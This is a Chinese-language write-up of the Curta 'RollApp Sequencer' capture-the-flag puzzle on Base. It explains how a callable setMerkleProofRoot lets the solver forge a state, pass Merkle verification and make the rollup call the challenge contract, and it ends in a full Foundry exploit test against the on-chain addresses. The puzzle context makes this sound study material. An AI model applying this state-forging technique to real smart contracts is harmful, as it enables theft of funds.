---
# System prepended metadata

title: Curta RollApp Sequencer WriteUp

---

# Curta RollApp Sequencer WriteUp (中文版)

## 介绍
题目：https://www.curta.wtf/puzzle/base:8
大意：需要通过RollApp合约，回调篡改状态。

## 分析

1. 拿flag的关键是触发recvRollAppData函数，设置 _rollAppStatesReceived 状态


![image](https://hackmd.io/_uploads/ByKIe-Vg0.png)

2. 但是触发recvRollAppData函数，需要通过RollApp来调用，所以，我们可以通过查看challengeApp的初始化参数，找到RollApp的地址。
3. 跟着链上痕迹，其实不难找到，rollUp, stateStorage和sequencer的地址：

```solidity
    address payable rollup = payable(0x32739b23BBe99900d01482Fbd3799DAf0B7Ac024);
    address payable stateStorage = payable(0x6a60D9296cBc84DC8FA4424dEdE75117712D6BE5);
    address payable ChallengeAppAddress = payable(0x433223B5d926557A067BaA24dfE21F27C6F9FE55);
    address payable sequencerAddress = payable(0xc592A5CcC2F7839408A0b394DbDD4A756A877A77);
```

4. 如果要通过rollUp回调ChallengeApp，就需要通过execState方法，触发anyCall()。execState方法是external的，其实调用很简单，所以我们需要修改stateFinalized的状态，写入我们需要的攻击状态。

![image](https://hackmd.io/_uploads/rk05xZNe0.png)

5. 唯一的难点在于如何完成merkleProoflib的verify，因为StateStore的Root是0x000..00，所以这里理论上不可能。

![image](https://hackmd.io/_uploads/B1fheZNxR.png)

6. 但是，Sequencer合约是可以进行修改stateStorage的合约的Root的，所以这个时候，leaf, root和Proof我们都可以同时操控了。这个题目就可以解出来了。

![image](https://hackmd.io/_uploads/H1l6gZVeA.png)

## 攻击

### 1. 构造State

state的构造有一点要注意的是：data需要先用formatData进行encode一次。因为在最后会调用anycall之前会进行一次formatData，然而formatData本质上是在执行一次xor。所以，我们两次formatData就可以了。在初始化的时候需要先进行一次formatData。
```solidity
        ChallengeApp challengeApp = ChallengeApp(ChallengeAppAddress);
        uint256 seed = challengeApp.generate(userAddress);

        RollApp rollupApp = RollApp(rollup);
        ISequencer sequencer = rollupApp.sequencer();

        // ChallengeApp
        uint256 solution = uint256(uint128(uint256(keccak256(abi.encode(seed)))));
        bytes32 solutionCode = keccak256(abi.encodePacked(seed, solution));
        bytes memory data = abi.encodeWithSignature("recvRollAppData(bytes32)", solutionCode);

        IStateStorage.State memory _state =  IStateStorage.State({
            _submitter: userAddress,
            _dst: ChallengeAppAddress,
            _blockHeight: 0,
            _data: sequencer.formatData(data)
        });
        
```
    
### 2. 修改Merkle Root
有了State了之后，我们就可以知道leaf了；因为Root和Proof都可以随意出入，我们构建一颗merkle tree，然后得到Proof和Root即可。或者，只有两个 Leaf的话 root 就直接 keccak 两个 leaf 就算出来了，proof 就是另一个 leaf 的值。
```solidity
        bytes32 leaf = keccak256(abi.encodePacked(sequencer.compressStateCommitments(_state)));
        
        // generate MerkelRoot and Proof
        bytes32[] memory merkleTreeData = new bytes32[](2);
        merkleTreeData[0] = leaf;
        merkleTreeData[1] = leaf;

        Merkle m = new Merkle();
        bytes32 MerkleRoot = m.getRoot(merkleTreeData);
        bytes32[] memory proof = m.getProof(merkleTreeData, 0); // will get proof for 0x2 value
        console2.logBytes32(MerkleRoot);

        sequencer.setMerkleProofRoot(MerkleRoot);
        
```
### 3. Attack
利用_state和proof，进行updateState，然后execState即可。
```solidity
        bytes32 _stateHash = rollupApp.updateState(_state, proof);
        rollupApp.execState(_stateHash);

        bool result = challengeApp.verify(uint256(uint160(userAddress)), solution);
        assert(result == true);

```
## 代码

```solidity

pragma solidity >=0.8.0;

import {Test, console2} from "forge-std/Test.sol";
import "../src/interfaces/IStateStorage.sol";
import {RollApp} from "../src/RollApp.sol";
import "../src/interfaces/ISequencer.sol";
import "../src/ChallengeApp.sol";
import "../src/interfaces/IStateStorage.sol";
import {Merkle} from "@merkleTree/Merkle.sol";

import { MerkleProofLib } from "../src/MerkleProofLib.sol";

contract Testing is Test {
    address payable rollup = payable(0x32739b23BBe99900d01482Fbd3799DAf0B7Ac024);
    address payable stateStorage = payable(0x6a60D9296cBc84DC8FA4424dEdE75117712D6BE5);
    address payable ChallengeAppAddress = payable(0x433223B5d926557A067BaA24dfE21F27C6F9FE55);
    address userAddress = address(0);

    function test0() public {
        vm.createSelectFork("wss://base-rpc.publicnode.com");

        userAddress = tx.origin;
        vm.startPrank(userAddress);

        // generate solution
        ChallengeApp challengeApp = ChallengeApp(ChallengeAppAddress);
        uint256 seed = challengeApp.generate(userAddress);

        RollApp rollupApp = RollApp(rollup);
        ISequencer sequencer = rollupApp.sequencer();

        // ChallengeApp
        uint256 solution = uint256(uint128(uint256(keccak256(abi.encode(seed)))));
        bytes32 solutionCode = keccak256(abi.encodePacked(seed, solution));
        bytes memory data = abi.encodeWithSignature("recvRollAppData(bytes32)", solutionCode);

        IStateStorage.State memory _state =  IStateStorage.State({
            _submitter: userAddress,
            _dst: ChallengeAppAddress,
            _blockHeight: 0,
            _data: sequencer.formatData(data)
        });
        
        bytes32 leaf = keccak256(abi.encodePacked(sequencer.compressStateCommitments(_state)));
        
        // generate MerkelRoot and Proof
        bytes32[] memory merkleTreeData = new bytes32[](2);
        merkleTreeData[0] = leaf;
        merkleTreeData[1] = leaf;

        Merkle m = new Merkle();
        bytes32 MerkleRoot = m.getRoot(merkleTreeData);
        bytes32[] memory proof = m.getProof(merkleTreeData, 0); // will get proof for 0x2 value
        console2.logBytes32(MerkleRoot);

        sequencer.setMerkleProofRoot(MerkleRoot);

        // attack
        bytes32 _stateHash = rollupApp.updateState(_state, proof);
        rollupApp.execState(_stateHash);

        bool result = challengeApp.verify(uint256(uint160(userAddress)), solution);
        assert(result == true);

        vm.stopPrank();

    }
}   
```
